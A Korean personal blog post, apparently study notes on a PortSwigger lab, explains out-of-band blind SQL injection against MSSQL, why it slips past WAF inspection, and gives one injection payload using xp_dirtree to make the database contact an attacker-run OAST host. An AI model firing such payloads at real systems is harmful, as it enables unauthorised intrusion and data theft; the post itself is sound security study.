syurhia 님의 블로그
Out-of-band (OAST) 본문
Blind SQL injection with out-of-band interaction
Blind SQL injection with out-of-band data exfiltration의 경우에는 Burp Suite Pro버전이 필요한 관계로 개념만 이해하기로 했다.
나중에 내가 만든 서버에서 직접 테스트하면서 실습해볼 예정이니 여기다가는 개념만 간략하게 정리해볼까 한다.
OAST란?
일반적인 웹해킹은 내가 웹서버에 페이로드를 던지고 응답을 직접 받는 구조이다.
OAST는 웹 서버가 한 응답을 내가 받는 게 아니라 옆집 서버(OAST용으로 만든 공격자가 운영하는 서버)에 넣어두라고 하는거다.
언제 쓰는데?
이건 보통 완전한 블라인드일 때 쓴다(시간 지연이나 응답 화면도 아예 안 나오는 경우).
그리고 DB서버가 데이터를 공격자의 외부 서버로 직접 쏴버리게 하기 때문에 WAF에 탐지도 안 된다(WAF는 요청값과 응답값을 다 뒤져본다. 요청값을 열심히 뒤져보다가 WAF가 요청 자체를 컷해버릴 순 있지만, 만약 요청이 통과가 됐다면 응답값 자체가 DB단계에서 외부에 쏴버렸으니 WAF가 뒤져볼 응답값 자체가 비어있는 셈).
이게 왜 가능한건데?
보통의 흐름이다.
유저의 요청 -> 웹 서버가 이를 받아들이고 DB에 요청을 보냄 -> DB가 요청을 처리하고 답변을 웹서버로 돌려보냄 -> 웹서버가 답변을 유저에게 돌려줌.
그런데, 왜 DB서버가 데이터를 외부 서버로 직접 쏘는 게 가능한걸까 싶어서 좀 찾아봤다.
DB내부에는 외부와 통신할 수 있는 내장 함수가 존재한다고 한다(DB엔진 자체가 네트워크 기능 TCP/IP등등을 지원).
그렇기에 OAST가 가능한 거라고 한다.
하는 방법
일단 OAST 서버를 켜둔다. 그리고 나서 아래의 코드를 실행한다.
기본 예시 코드는 다음과 같다. (공격용이라기 보단 취약점을 확인하기 위한 코드)
'; EXEC master..xp_dirtree '\\내-OAST-주소.com\share'--
세미콜론으로 정상적인 쿼리를 닫는다.
EXEC는 실행 명령어이다.
master는 MSSQL 데이터베이스의 시스템 기본 데이터베이스 이름이다(온갖 시스템 기능들이 들어있다, 참고로 MS-SQL에서 시스템 데이터베이스의 이름인 master는 바꾸지도 못한다.)
..(점 두개) : 원래 DB에서 특정 기능 부를 때, DB명.스키마명.함수명 이렇게 실행하는데, MSSQL에서는 dbo는 너무 뻔하니 생략이 가능하다고 한다. 그래서 DB명..함수명 이렇게 된 것이다.
xp_dirtree : MSSQL에 내장된 파일 탐색기 기능이다(트리 구조로 특정 폴더의 하위 폴더와 파일들을 보여줌).
'내 OAST 주소' : xp_dirtree의 뒤에 제공되는 주소의 share폴더를 열어보라는 뜻임. 여기서는 내 OAST주소를 열어봐야되니까.
즉, master라는 데이터베이스 내의 함수 xp_dirtree를 실행해달라는거다.
dbo도 master도 이름의 수정은 불가능하다.
이건 나를 위한 내용
MSSQL에서는 DB명.스키마명.테이블명 이렇게 사용함.
sa(System Administrator)가 최고 관리자이고, sa만 들어갈 수 있음.
스키마가 좀 많이 헷갈림. (DB별로 스키마라는 단어의 뜻이 다른 듯)
'보안관련 > PortSwigger' 카테고리의 다른 글
| Second-order SQL injection (0) | 2026.05.07 |
|---|---|
| SQL injection with filter bypass via XML encoding (0) | 2026.05.07 |
| Blind SQL injection with time delays and information retrieval (0) | 2026.05.06 |
| Visible error-based SQL injection (0) | 2026.04.30 |
| Blind SQL injection with conditional erros (0) | 2026.04.30 |